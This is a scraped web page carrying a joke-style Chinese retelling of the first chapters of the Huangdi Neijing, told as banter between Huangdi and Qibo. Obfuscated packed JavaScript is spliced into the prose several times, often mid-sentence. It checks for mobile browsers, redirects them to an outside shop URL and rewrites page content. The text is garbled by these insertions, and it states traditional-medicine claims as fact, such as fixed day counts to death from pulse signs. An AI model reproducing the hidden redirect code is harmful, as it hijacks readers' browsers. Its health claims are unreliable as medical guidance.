《黄帝内经爆笑讲解版》 上古天真论篇第一 想当年，黄帝一出生就自带光环，灵得跟小神仙似的，小时候话痨属性就满点，聪明得跟小天才一样，长大了更是稳重又机智。最后，嗖的一下，直接飞升成仙，留下我们一群凡人仰望。 有一天，黄帝突发奇想，问起了岐伯：“我听说啊，上古时期的人们，个个活到百岁还跟玩似的，蹦蹦跳跳不带喘。反观现在，大家一过五十岁，就感觉身体被掏空，是世道变了，还是我们人类自己作妖呢？” 岐伯一听，慢悠悠地答：“上古的先辈们，那都是养生达人，跟着自然规律走，吃饭讲究，睡觉规律，从不瞎折腾自己。所以他们身心和谐，自然能享尽天年，百岁高龄还精神抖擞。反观现在，嘿，大家把酒当水喝，熬夜蹦迪成日常，酒后还乱性，简直是拿身体开玩笑。欲望无穷尽，真气耗得比充电还快，还不好好管理自己的小宇宙，整天追求短暂的快感，生活作息一团糟。这样下去，五十岁就感觉自己像是被岁月按在地上摩擦，能不衰嘛！” “再瞧瞧上古圣人的教导，那叫一个接地气。告诉大伙儿，邪风邪气要躲着走，心态要佛系，淡泊名利，这样真气自然就跟着你跑，精神内守，病魔都绕道走。于是大家心态平和，欲望少，心里不慌，身体累点也不觉得疲倦，气儿顺了，日子自然舒心。吃嘛嘛香，穿啥啥美，乐在当下，不攀比，这样的生活才叫滋补。这样一来，欲望诱惑根本入不了眼，歪门邪道也迷不了心，不管聪明还是笨，好人坏人都不被外物所累，这才叫活得通透，合于大道。所以嘛，他们能活到百岁还生龙活虎，全靠这一身正气，稳如老狗，不翻车！” 黄帝问啦：“哎，你说人老了为啥就生不出娃了呢？是因为力气用完了，还是命中注定这样啊？” 岐伯慢悠悠地回答：“嘿，这学问可深了。先说女的吧，小女孩七岁那会儿，肾气就开始蓬勃了，小牙换新牙，头发也嗖嗖长。到了十四岁，哎呀，青春期的魔法来了——‘天癸’这玩意儿一到，任脉通了，太冲脉那个旺啊，大姨妈也准时报到了，自然就能怀上小宝贝了。到了二十一岁，肾气稳稳当当，智齿冒头，身体长到顶了。二十八岁，筋骨硬朗，头发浓密，正值青春壮年。但一过三十五，阳明脉开始偷懒，脸上就开始泛黄，头发也慢慢掉。到了四十二，三阳脉在上面也力不从心了，脸全面‘烤焦’，头发开始变白。四十九岁那年，任脉和太冲脉都累了，天癸也干涸了，大姨妈再也不来了，身体也开始走下坡路，自然就不能再生娃啦。” “再瞧瞧男的，八岁那会儿也是肾气满满，头发黑亮，牙齿换新。到了十六岁，肾气爆棚，‘天癸’也凑热闹来了，小伙子精力旺盛，能生孩子啦！二十四岁，肾气平衡得刚刚好，筋骨强健，智齿也长齐了，身体倍儿棒。三十二岁，肌肉饱满，浑身是劲儿。但一过四十，肾气就开始滑坡，头发掉，牙齿也不如从前了。四十八，阳气在头上都快耗尽了，脸跟被烤过似的，鬓角也开始斑白。五十六岁，肝气也弱了，筋都懒得动了，天癸彻底歇菜，精子少了，肾也累了，整个人都感觉快散架了。到了六十四，哎，牙也快掉光了，头发全白，走路都歪歪扭扭的，生娃？那已经是遥远的传说啦！” “所以啊，肾这家伙是管水的，还负责收藏五脏六腑的精气。五脏强，它才能强。现在五脏都衰了，筋骨也松了，天癸早就没了，能不白发苍苍，身体沉重，走路都歪吗？生孩子？难啊！” 黄帝好奇地问：“哎，你说有的人明明年纪挺大了，咋还能生孩子呢？这是咋回事？” 岐伯捋了捋胡子，笑眯眯地说：“哈哈，那是因为他们啊，天生就自带‘长寿光环’，气血流畅得像山间小溪，特别是肾气，那叫一个充沛！不过呢，就算他们能生，男的到了六十四岁，女的到了四十九岁，也差不多是天地给的精气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哎哟喂，朋友们，今儿咱们来聊聊老祖宗那套四季养生的高招，保证让你听得津津有味，还能学以致用，让身体倍儿棒，吃嘛嘛香！ 首先，咱们说说这春三月，那可是大自然界的“起床号”，万物复苏，生机勃勃，就像你周末早上被阳光温柔地唤醒，心里头那个美呀！这时候啊，你得学那小树苗，晚上早点儿睡，早上迎着朝阳就蹦跶起来，别赖床。起床后，别急着梳头，披头散发地在院子里溜达溜达，伸伸懒腰，放松放松筋骨，让心里的小宇宙也跟着春天的节奏一起“发芽”。记住喽，春天是播种希望的季节，要多给予、多鼓励，少批评、少打击，这样心情好了，身体自然也跟着好起来。你要是反着来，整天愁眉苦脸，熬夜蹦迪，嘿，小心你的小心肝儿抗议，到了夏天可能就得裹着被子喊冷了，一年到头都没啥精气神儿。 转眼到了夏三月，这简直就是大自然的“狂欢节”，万物茂盛，繁花似锦，太阳公公也格外热情。这时候，你得继续坚持早睡早起的好习惯，别老躲空调房里，多晒晒太阳，补充点“维生素D”，让心情也跟着灿烂起来。记住，夏天要心平气和，别动不动就发火，像那荷花一样，静静绽放，美丽又从容。多出汗，排排毒，感觉自己就像个大自然的小清新。如果你非要在夏天找不痛快，动不动就生气，那秋天可能就得跟“秋老虎”斗智斗勇了，冬天还可能病恹恹的，想想都不划算。 再来说说秋三月，这季节就像是大自然的“收割季”，天高云淡，凉风习习，是时候给忙碌了大半年的自己放个小假了。晚上早点儿睡，早上跟着公鸡打鸣的节奏起床，悠哉悠哉。这时候，你得学会“收心养性”，别让思绪像秋天的落叶一样四处飘散，得让它安静下来，享受这份宁静与平和。就像给心灵做个SPA，让肺气也清清爽爽。如果你非要在这时候折腾自己，熬夜加班，心情烦躁，那冬天可能就得跟拉肚子做伴了，一年到头，收藏的能量都不够，来年怎么元气满满地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那天上的空气啊，清清爽爽的时候，咱们的心情也跟着舒畅，跟打了鸡血似的。顺着这股子清气过日子，阳气就像盔甲一样牢牢护着你，就算有点小病小灾想偷袭，也是白搭。这可是顺应时节的智慧哦！所以啊，古时候的高人，他们懂得怎么跟大自然的精神沟通，吸收天地之精华，整个人都通透得跟神仙似的。要是做不到这点，嘿嘿，结果就是内外不通，九窍像被堵了似的，肌肉也紧绷绷的，卫气（免疫力）还离家出走，这不就是自己给自己找不痛快嘛，气运都被削弱了。 说到阳气，它就像是天空中的太阳，缺了它，咱们就像没电的手机，寿命打折，还黯淡无光。所以啊，太阳每天兢兢业业地发光发热，阳气也是这么守护着咱们，让咱们能抵抗外界的侵扰。 但如果因为天冷，咱们就像个僵硬的门轴，动作不利索，一惊一乍的，神气就飘忽不定了；到了夏天，热得跟蒸笼似的，一出汗就喘得跟狗似的，要不就是安静时话多得能绕地球三圈，身体热得像块刚出炉的烤红薯，不过还好，出出汗就凉快了；碰到湿气重的时候，脑袋就像被布裹着，不清爽，湿热久了，大筋小筋都跟着变形，不是僵硬得像打了结，就是松弛得像面条，那滋味，啧啧，想想都难受；还有啊，要是气不顺了，身体还会肿起来，全身的气血都不听话了，阳气也慢慢耗尽，这时候就得赶紧找大夫聊聊心了。 总之，跟大自然和谐共处，才是咱们养生保命的王道啊！ 哎呀，这阳气啊，就像是咱们身体里的小太阳，一旦你烦心劳累过度，它就“嘭”地一下，跟气球似的鼓胀起来，精力都快耗干了。特别是夏天，这阳气积攒得跟火炉似的，一不小心就能让人热得晕厥，那感觉就像是被烤焦的汉堡，眼睛热得看不清，耳朵也热得跟塞了棉花似的，整个人迷迷糊糊，好像世界都要崩塌了一样，止都止不住啊！ 再说说生气这事儿，你要是怒火中烧，阳气直接给你来个“断片儿”，气血一股脑儿往头上冲，嘭！直接让你眼前一黑，这就是“薄厥”了。更糟的是，还可能伤到筋，让你的身体变得软绵绵的，好像橡皮人一样，不协调。有时候汗都出偏了，这边湿那边干，久而久之，还可能半身不遂呢，听着都让人害怕。 还有啊，出完汗要是立马碰上湿气，比如雨天忘带伞，嘿，那就等着长“痤痱”吧，就像是脸上突然多了几个不速之客，尴尬又难受。 再聊聊吃的，天天大鱼大肉，油腻腻的，小心身体反抗，给你来个“大丁”警告，长痘的速度快得跟开挂似的，简直是“痘痘收割机”，一碰就长，防不胜防。 还有啊，劳动完一身汗，千万别急着吹冷风，不然寒气一入侵，皮肤就跟你闹别扭了，先是干燥起皮，再来就是痤疮粉刺，简直是“皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318142|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤的小情绪”，让人头疼不已。 总之啊，咱们得悠着点，别太折腾自己，不然阳气一乱，身体就跟你唱反调了，到时候可不是闹着玩的！ 哎呀，说起这阳气啊，它可是个多面手！要是它精力满满，就像超级电池一样，能滋养咱们的神魂，让心灵充满活力；而它温柔细腻时，又能呵护咱们的筋骨，让它们柔韧有力。 不过呢，要是这阳气开关没整好，让寒气趁机溜进来，嘿，那可不得了，时间长了能整出个“大驼背”来！还有啊，要是它懒得动，在血脉里窝着不走，还可能让人手脚无力，肌肉萎缩，跟被按了暂停键似的。更糟糕的是，这寒气还会在肌肉缝隙里溜达，搞得你胆子都变小了，容易一惊一乍的。 再来说说营气，这家伙要是叛逆了，不按照正常路线走，非要逆着来，结果嘛，就是身体这儿鼓个包那儿肿个块的，跟吹气球似的。还有啊，出汗的时候要是没收住，身体虚了，气也散了，再赶上毛孔一关，风邪趁机而入，那“风疟”就找上门来了，简直是“开门揖盗”的典范。 所以啊，风这家伙，简直就是百病的“启蒙老师”，得时刻提防着。但你知道吗？只要咱们内心清净，身体就自动开启“防护罩”，再大的风再猛的毒，都近不了身，这就是顺应自然的智慧嘛！ 说到这病啊，拖久了可不是好事，它会像串门子一样，在身体上下乱窜，到时候连好医生都头疼。阳气要是憋久了，那可不是闹着玩的，得赶紧疏通，不然就是“庸医误人”的节奏了。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 金匮真言论篇第四 黄帝问啦：“嘿，岐伯老师，听说天上有八种风，而我们人体经络里呢有五风的说法，这是咋回事儿呢？” 岐伯笑着回答：“哎呀，黄帝大人，这可是门大学问呢！那天上的八风要是调皮捣蛋，变成坏分子——经风，一不留神就溜进咱们的五脏六腑捣乱，让人生病。还有啊，这四季更替也有它们的小九九，春克长夏，长夏压制冬，冬又反过来欺负夏，夏又不服秋，秋又跟春过不去，这就是所谓的‘四时之胜’，自然界的小游戏罢了。” “再来说说这风吧，东风是春的使者，它一来，肝就容易出问题，不舒服的地方多在脖子和脑袋那块；南风热烈如夏，心就容易受伤，胸口和两肋得小心呵护；西风萧瑟，秋意浓，肺就容易感冒，肩背得多穿点；北风呼啸，冬意寒，肾就得保暖，腰和大腿根儿是重点保护对象；至于中间那块儿，土属性的脾，它的领地是脊柱周围，也得好好照顾。” “所以啊，春天容易头疼脑热，鼻子不通气；夏天嘛，心脏和胸口的小情绪比较多；到了长夏，拉肚子和肚子冷痛是常客；秋天呢，风疟爱找上门；冬天，手脚不暖和，关节疼，甚至晕倒都是有可能的。” “但你知道吗？有个秘诀哦！冬天别瞎折腾，好好养精蓄锐，春天鼻子就不会流血，脖子也不疼；春天安分点，夏天胸口就不闷；夏天别贪凉，秋天就不会被风疟缠上；秋天照顾好自己，冬天关节就不受罪，吃饭香，睡觉好，连汗都出得恰到好处。” “说到底，身体里的‘精’啊，就是咱们的命根子！藏好了它，春天就不怕温病找上门。夏天要是热得汗都不出，秋天就等着风疟来敲门吧。这就是咱们健康人的养生秘籍，简单易懂，照着做，保你一年到头都精神！” 哎呀，这古人讲起阴阳来，可真是绕口令似的，不过咱们用现代话，加点幽默和小清新，让这段知识也时髦起来！ 想象一下啊，这世界就像个大调色盘，阴阴阳阳，你中有我，我中有你，跟玩俄罗斯套娃似的。一天里头，太阳公公从早到晚也是玩这阴阳变脸游戏呢： - 清晨到中午，那是“阳中之阳”，就像你早上喝的那杯热腾腾的咖啡，满满的正能量，活力四射！ - 中午到黄昏，嘿，太阳公公开始“阳中之阴”了，虽然还挂着笑脸，但威力渐弱，就像你下午那杯逐渐冷却的奶茶，温柔又不失韵味。 - 夜幕降临到鸡叫，那是“阴中之阴”，黑漆漆一片，最适合夜猫子们出来活动，就像深夜的烧烤摊，热闹中带着一丝神秘。 - 鸡一叫，天又亮，那是“阴中之阳”，就像你熬夜后看到的第一缕晨光，告诉你，新的一天，新的开始，又是一条好汉！ 说到人身上的阴阳，那也是讲究得很： - 外表嘛，自然是“阳”，就像你穿的那件炫酷外套，展示给世界的阳刚之气； - 内里则是“阴”，藏着你的小秘密和小情绪，就像内心深处那片柔软的角落。 - 背上，那是“阳中之阳”，特别是心脏和肺，就像你背上的小太阳，温暖又强大； - 肚子这边，就是“阴”的天地了，肾是“阴中之阴”，深沉又稳重；肝呢，算是“阴中之阳”，有点叛逆又充满活力；至于脾，那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想象一下，阳气堆多了就成了天，阴气攒够了就是地。阴呢，就像个安静的美女子，而阳呢，活脱脱一个躁动的小伙子。阳气能让万物生长，阴气则负责滋养这些生长的家伙；到了秋天，阳气收敛杀气显露，万物开始凋零，阴气就忙着把它们藏起来过冬。阳负责把能量变成气，阴呢，则是把这些气凝聚成看得见的形状。 你知道吗？冷到极致了反而会觉得热，热过头了又感觉冷飕飕的。寒气多了空气就浑浊，热气一上来空气就清新。要是清新的空气沉到了下面，哎哟，人就得吃坏肚子拉肚子；浊气要是飘到上面去了，肚子可就真胀得难受了。这阴阳要是反着来，身体就得闹别扭，生病也就跟着来了。 再来说说清阳和浊阴，清阳就像蓝天白云高高在上，浊阴就像大地泥土稳稳当当。地上的水汽升上去变成云，天上的水汽降下来变成雨。雨其实是地气的孩子，云则是天气的杰作。咱们身体也一样，清阳之气从上面的七窍出来，浊阴之物嘛，自然从下面走。清阳让皮肤毛孔舒张，浊阴则滋养五脏六腑；清阳让我们的手脚灵活有力，浊阴则负责消化系统的运作。 水和火，也是阴阳的代表。阳是气，看不见但感觉得到；阴是味道，能直接尝到。味道滋养我们的身体，身体又需要气来支撑，气再变成更精细的能量——精，精再促进身体的各种生化反应。简单说，就是：吃好喝好身体棒，气足精满活力旺！但反过来，味道太过了伤身体，气不足则精受损，精可以转化为气，但气也会被不良饮食给伤了。 最后，味道重的食物走下道，气味清新的则往上升。味道浓烈的属阴中之阴，稍微淡点的算阴中的小阳；气味强烈的属阳中之阳，柔和点的就是阳中的小阴了。味道太重的吃了容易拉肚子，淡点的能通肠；气味淡的能疏散，浓的则让人发热。大火烧久了，气就弱了；小火慢炖，气反而更足。大火耗气，小火补气，就像咱们熬夜伤身，早睡早起养生一个道理。辛甘的食物发散阳气，酸苦的嘛，就是帮助排毒的了。 想象一下，自然界的阴阳平衡就像是你家的空调和暖气。如果暖气开得太足（阳胜），家里就热得跟蒸笼似的；反之，空调打太低（阴胜），那就冷得直打哆嗦。这“重寒则热，重热则寒”啊，就像是冬天冻得不行，突然跑进屋里暖气一开，哇，热得出汗；夏天热得受不了，一猛子扎进冰水，嘿，冷得直哆嗦。这就是物极必反的道理嘛！ 说到“寒伤形，热伤气”，就像是冬天冻手冻脚，那是直接伤到了咱们的“硬件”（身体）；而夏天中暑，则是让咱们的“软件”（气，可以理解为精神头）出了问题。气不顺了，就疼；身体伤了，就肿。如果你先觉得疼，后来才肿起来，那就是“气”先受伤，影响到了身体；反之，先肿后疼，那就是身体先遭殃，再连累到“气”。 再来说说自然界的那些“风、热、燥、寒、湿”吧，它们就像是大自然的五位魔术师。风大了，东西就动个不停；热过头了，就肿得像包子；干燥了就干裂；寒冷了就让人皮肤紧绷绷的；湿气重了就拉肚子，跟开了水闸似的。 而咱们人呢，和这大自然是紧密相连的。五脏对应着五种情绪：喜、怒、悲、忧、恐。情绪过头了，就会伤身。暴怒就像是个急脾气，伤的是“阴”（可以理解为内在的平静）；暴喜呢，就像是突然中了大奖，高兴得过头，伤的是“阳”（外在的活力）。情绪失控，就像身体里的气乱窜，搞不好还会“满脉去形”，听起来就像是要爆炸一样。 所以啊，咱们得学会控制情绪，别大冷天穿短袖，也别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318144|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大热天裹棉被。情绪要稳定，就像四季更替，有序进行。不然，“重阴必阳，重阳必阴”，乐极生悲，悲极又转喜，人生不就成了过山车了吗？ “冬天挨了冻，春天可能就感冒发热；春天被风吹得飘飘然，夏天可能就拉肚子；夏天贪凉中了暑，秋天可能就得打摆子；秋天湿气重，冬天可能就咳个不停。”看来，咱们得随时根据天气变化，调整自己的生活节奏，才能健健康康，乐呵乐呵地过每一天！ 黄帝问：“我听说上古时期的那些大牛们，研究人体结构那叫一个细致，不仅把五脏六腑分得明明白白，还把经络血脉梳理得井井有条，好像整个身体就是个小宇宙，各部分都遵循着各自的规律运行。他们还给气穴起了名字，知道小溪大谷跟骨头的关系，从头到脚，从里到外，都讲得头头是道。连四季的阴阳变化，身体的内外呼应，都说是相互关联，有表有里的。这些说法，靠谱吗？” 岐伯笑着答道：“您听我说啊，这事儿得从东方讲起。东方嘛，风大，风一吹树木就茂盛了，树木多了就结出酸酸的果子，这酸味啊，跟咱们的肝特别对味儿，肝好了筋就强，筋强则能滋养心脏，肝还特别关照眼睛。在天上，它表现为深邃的玄色；在人身上，它是那条追求真理的道；在地上，则是万物生长变化的源泉。这变化能生出五味，道能生出智 慧，玄妙之处则孕育了精神。精神嘛，在天上化为风，在地上化为木，在咱们身上就是筋，藏在身体里就是肝。说到肝，它还有一堆小名儿：颜色上是青色，音乐里是角声，叫声里是‘呼’，情绪激动时就紧握拳头，开窍于目，味道偏好酸，脾气上来就是怒。不过啊，怒大伤肝，但悲伤的情绪却能克制愤怒；风大伤筋，干燥的环境则能缓解风的影响；酸过头了也伤筋，这时来点辛辣的就能平衡。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 阴阳离合论篇第六 黄帝好奇地问岐伯：“老岐啊，我听说天是阳的代表，地则是阴的象征，太阳为阳，月亮为阴，这一年三百六十天，跟咱们人体啊，好像也有对应关系。但说到三阴三阳，怎么跟这天地阴阳对不上号呢？咋回事儿？” 岐伯笑着摇摇头，慢悠悠地说：“哎呀，黄帝陛下，这阴阳之道啊，深似海，广如天。你数它，十个不够，百个也行，千个万个都不在话下，实际上它变化无穷，但核心就那一个理儿。您看这天盖着地，万物生长，还没冒出头来的，咱们叫它‘阴中之阴’，就像躲在妈妈肚子里的宝宝；一旦破土而出，那就是‘阴中之阳’了，好比婴儿初见天日。这阴阳相互配合，春天万物生发，夏天茁壮成长，秋天收获满满，冬天则养精蓄锐。要是哪天这节奏乱了，天地都得堵上，人间可就乱套了。咱们人身上的三阴三阳，也是这么个理儿，可以数得过来，但背后的变化无穷无尽。” 黄帝一听，更来劲了：“那你快说说，这三阴三阳到底是怎么个分合关系？” 岐伯摆出一副讲课的架势：“好嘞，您听好了。想象一下，古时候的圣人面朝南方站着，前面是光明大道，叫‘广明’，后面则是深邃的虚空，叫‘太冲’。在太冲这片地方，藏着少阴，而少阴之上，就是光芒万丈的太阳。这太阳啊，根儿扎在‘至阴’之地，但作用在命门上，是真正的‘阴中之阳’。再往上，咱们身体的上半部分，也是‘广明’之地，广明之下就是太阴了。太阴前面呢，是阳明，阳明这家伙，根儿在脚上的厉兑穴，也是‘阴中之阳’。厥阴的外围，则是少阳，少阳的根儿在窍阴，算是‘阴中的小太阳’。这三者啊，离合有道，太阳是开门迎客的，阳明负责关门送客，少阳就像个门轴，灵活转动。它们仨得紧密合作，不然身体就要出乱子了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318145|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黄帝听得津津有味，又问：“那三阴呢？” 岐伯继续讲：“外头的是阳，里头的就是阴。在咱们身体里，中间这块儿算是阴，而它的根基，也就是‘冲’的地方，在下头，这就是太阴了。太阴的根儿在隐白穴，是纯正的‘阴中之阴’。太阴后面跟着少阴，少阴的根儿在涌泉穴，是‘阴中的小老弟’。少阴前面呢，是厥阴，厥阴的根儿在大敦穴，那可是阴到极点的‘绝阴’之地。这三阴的离合，太阴是开放的，厥阴是收敛的，少阴是调节的。它们仨也得好好配合，不然身体内部的平衡就乱套了。这三阴三阳啊，就像阴阳两界的大戏，你传给我，我传给你，一周一循环，里应外合，这才构成了咱们身体的和谐与平衡。” 黄帝听完，连连点头，心里暗想：这岐伯真是个活宝典，讲起道理来既深奥又有趣，让人一听就懂，还忍不住想多听几句。 阴阳别论篇第七 黄帝好奇地问：“听说人体有‘四经十二从’这一说法，这到底是咋回事儿啊？”岐伯老师悠悠地答道：“嘿，这简单，四经就像是咱们的一年四季，各有各的节气；而十二从呢，就像是那十二个月份，每个月都有它的专属，正好对应了咱们身上的十二条正经。这些经脉里头啊，还藏着阴阳的小秘密呢！知道阳就懂了阴，反过来也一样。” “说到阳，它可不简单，有五类阳，每类再分五个小类，加起来就是二十五种阳的力量，强大吧！而那阴嘛，就像是咱们身体里的宝藏，得好好藏着，一旦暴露出来，那就是身体要垮的信号，得小心了！至于阳嘛，主要是指胃脘那块的阳气，它是咱们身体的能量站。” “辨别这阴阳啊，就像是侦探破案。看阳能知道病在哪捣乱，看阴呢，就能预知生命的倒计时了。三阳经啊，它们喜欢待在头上，三阴经呢，则偏爱手部，其实它们都是一家人，只是分工不同罢了。” “再告诉你个诀窍，根据阳的变化，可以知道哪些时候得避开病痛的锋芒；而阴的变化呢，就是生死大事的天气预报了。所以啊，你得把阴阳之道琢磨透了，到时候看病都不用问别人，自己就是半个神医了！” “说到底，阴阳这东西，就像是公交车上的座位，有人下车（去者为阴），就有人上车（至者为阳）；有人静静坐着（静者为阴），也有人忙着换座（动者为阳）；车开得慢（迟者为阴），那就是在等乘客；车开得快（数者为阳），那就是载满乘客赶时间呢！明白这理儿，人体的小宇宙也就不难探索啦！” 想象一下，如果你是个“真脉侦探”，碰到那些“悬绝脉”就像是在玩“生命倒计时”游戏： - 肝的“悬绝脉”一亮，就像手机电量瞬间变红，警告你：“嘿，还有18天，珍惜吧！” - 心呢？九天倒计时开始，心脏说：“别急，我还有个小目标没完成呢！” - 肺来凑热闹，十二天，它可能正琢磨：“我得赶紧找个好地方唱首《凉凉》。” - 肾老兄更直接，七天见真章，它可能在想：“我的肾宝片呢？快递还没到吗？” - 脾嘛，最急性子，四天就喊：“拜拜了您嘞，我得先去地府占个位儿。” 再来说说“二阳病”，这家伙一犯病， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318146|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脾就遭殃，女生还可能大姨妈离家出走。要是再恶化成“风消”或“息贲”，那就是医生也头疼的“不治之症”了，直呼：“这病，比我写药方还难！” “三阳病”呢，忽冷忽热像玩变脸，还可能长痈肿、痿厥，甚至变成“颓废大叔”加“疝气小哥”。 至于发病的一天之内，你可能气短、爱咳、爱拉肚子，再发展下去就是“心被扯”或“隔山打牛”的感觉，哈哈，听起来就像武侠小说的情节。 还有那些阴阳结合的病症，比如“二阳一阴”的，你会被吓得背疼，还老打嗝、打哈欠，这叫“风厥”，好像身体里住了个爱恶作剧的风神。 说到阴阳，中医讲究平衡，就像游戏里的“攻防平衡”。阴阳一乱，就像家里猫狗大战，家里不得安宁。阴太强，阳就被欺负；阳太猛，阴就躲起来。这样下去，身体就得说：“我累了，先走一步。” 最后那段，简直就是生命的“死亡倒计时”升级版，不同的阴阳组合，决定了你能在游戏里“存活”多久。比如“三阴三阳俱搏”，那就是全身警报响起，心腹满满当当，隐私全无，五天后就得说拜拜了。 灵兰秘典论篇第八 黄帝老兄一脸好奇地问岐伯：“嘿，岐伯兄，我一直想知道咱们身体里的这十二个大脏器是怎么分工合作，谁又是老大，谁是跟班呢？给咱细细道来呗！” 岐伯一听，哈哈一笑，捋了捋胡子，慢悠悠地说：“黄帝啊黄帝，你这问题问得真是有水平！来来来，听我慢慢给你解析这人体内的‘官场风云’。” “首先说心吧，它就像是咱们身体里的皇上，至高无上，掌管着所有的精神与智慧，一切的神明之气都从这里发出。没有它，咱们可就成了行尸走肉喽！” “接着是肺，这家伙呢，就像是丞相大人，辅佐心脏这位君主，管理着身体的节奏和秩序，什么呼吸啊、调节啊，都得靠它。” “肝嘛，就是个勇猛的将军，不仅负责排毒，还负责策划谋略，咱们的思考、判断，很大程度上都靠它呢！” “说到胆，嘿，这可是个公正无私的法官，专门负责做决定，关键时刻，一点不含糊，决断力杠杠的！” “膻中啊，就像是皇帝的贴身秘书，专门负责传递喜怒哀乐的情绪，让咱们的情感得以流通。” “脾胃这对搭档，那就是国家的粮仓，管理着食物的消化和吸收，五味杂陈，全靠它们转化成咱们身体需要的能量。” “大肠和小肠呢，大肠负责传送废物，完成食物的最终转变；小肠则是个‘吃货’，专门负责接收并消化食物，提取营养。” “肾啊，那可是咱们身体的‘大力士’，不仅管着生殖发育，还负责各种技能和技巧的发挥，咱们的‘肾’气足不足，可是决定了很多事情的哦！” “三焦这家伙，就像是国家的水利工程部，专门负责疏通水道，调节体内水液的平衡。” “膀胱嘛，就是身体的‘水库’，储存着津液，等时机一到，就通过气化作用排出体外，保持身体的清爽。” “这十二大脏器啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318147|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个都不能少，它们得紧密合作，才能确保咱们身体的和谐运转。就像是一个国家，君主英明，群臣和谐，国家才能昌盛；反之，要是君主昏庸，群臣离心，那国家可就乱套了。” 黄帝听得连连点头，赞叹道：“哇塞，原来咱们的身体里还有这么多门道！这简直就是一部活生生的宫廷剧嘛！岐伯兄，你这一番讲解，真是让我大开眼界啊！” 岐伯笑着继续道：“所以啊，黄帝啊，你要想养生延寿，就得好好对待这些脏器，让它们各司其职，和谐共处。不然的话，一旦哪个环节出了问题，那可就麻烦大了！” 黄帝深以为然，连忙表示：“对对对！这么精妙的道理，简直就是大圣人的智慧啊！我得选个黄道吉日，把你这番话好好记录下来，藏在灵兰之室，传给我的子子孙孙，让他们也受益无穷！” 两人相视一笑，仿佛已经看到了未来世代子孙健康长寿、国家繁荣昌盛的美好景象。 六节脏象论篇第九 黄帝好奇地问：“我听说啊，大自然用‘六六之节’来构成一年，而人呢，用‘九九制会’来算，说人身上也有三百六十五个‘节’，好像跟天地对应似的。这说法古来有之，但我真不太明白它是咋个意思呢？” 